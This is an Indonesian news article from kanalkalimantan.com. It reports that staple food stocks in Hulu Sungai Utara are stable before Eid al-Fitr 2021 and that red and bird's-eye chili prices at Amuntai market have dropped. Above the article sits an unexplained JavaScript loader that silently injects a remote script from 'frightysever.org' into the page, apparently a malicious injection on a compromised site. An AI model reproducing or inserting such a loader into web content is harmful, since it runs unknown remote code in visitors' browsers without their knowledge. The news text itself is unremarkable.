(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Jelang Lebaran, Harga Cabai Merah dan Rawit di Pasar Amuntai Turun

KANALKALIMANTAN.COM, AMUNTAI – Menjelang Hari Raya Idul Fitri 1442 hijriah, Dinas Perindustrian, perdagangan, Koperasi dan UKM (Disperindagkop UKM) Kabupaten Hulu Sungai Utara (HSU) memastikan harga kebutuhan pokok stabil. Stok barang kebutuhan pokok juga dipastikan masih aman tersedia.

Kabid Perdagangan Disperindagkop HSU, H M Isnaini mengatakan untuk harga bahan pokok menjelang Hari Raya Idul Fitri terbilang stabil.

“Harga sembako bisa dikatakan stabil,

bahkan untuk harga cabai cenderung turun, seperti harga terakhir cabai merah biasa sebelumnya 50 ribu per kilogram menjadi Rp 40 ribu per kilogram, cabai rawit lokal Rp 100 ribu per kilogram menjadi Rp 80 ribu per kilogram dan cabai rawit taji yang sebelumnya Rp 80 ribu per kilogram menjadi Rp 60 ribu perkilogram,” beber Isnaini kepada kanalkalimantan.com, Senin (10/5/2021).

Sementara untuk ketersediaan stok yang akan mempengaruhi harga dari sembako tersebut selama ini juga masih terpantau aman.

Meski, ketersediaan sembako masih aman, ia menghawatirkan kondisi pasca lebaran Idul Fitri. Karena menurutnya ada jeda waktu libur sehingga stok ketersediaan sembako mungkin saja berkurang lantaran proses pengiriman yang terhambat.

“Ditambah lagi, seringkalinya masyarakat yang akan mengadakan resepsi perkawinan pasca Idul Fitri bakal menambah permintan sembako meningkat,” lanjutnya.

Selain itu, pihaknya memastikan akan terus memonitor perkembangan ketersediaan sembako, dan berharap masyarakat Kabupaten HSU agar tidak perlu khawatir (kanalkalimantan.com/dew)

Reporter : Dew
Editor : Bie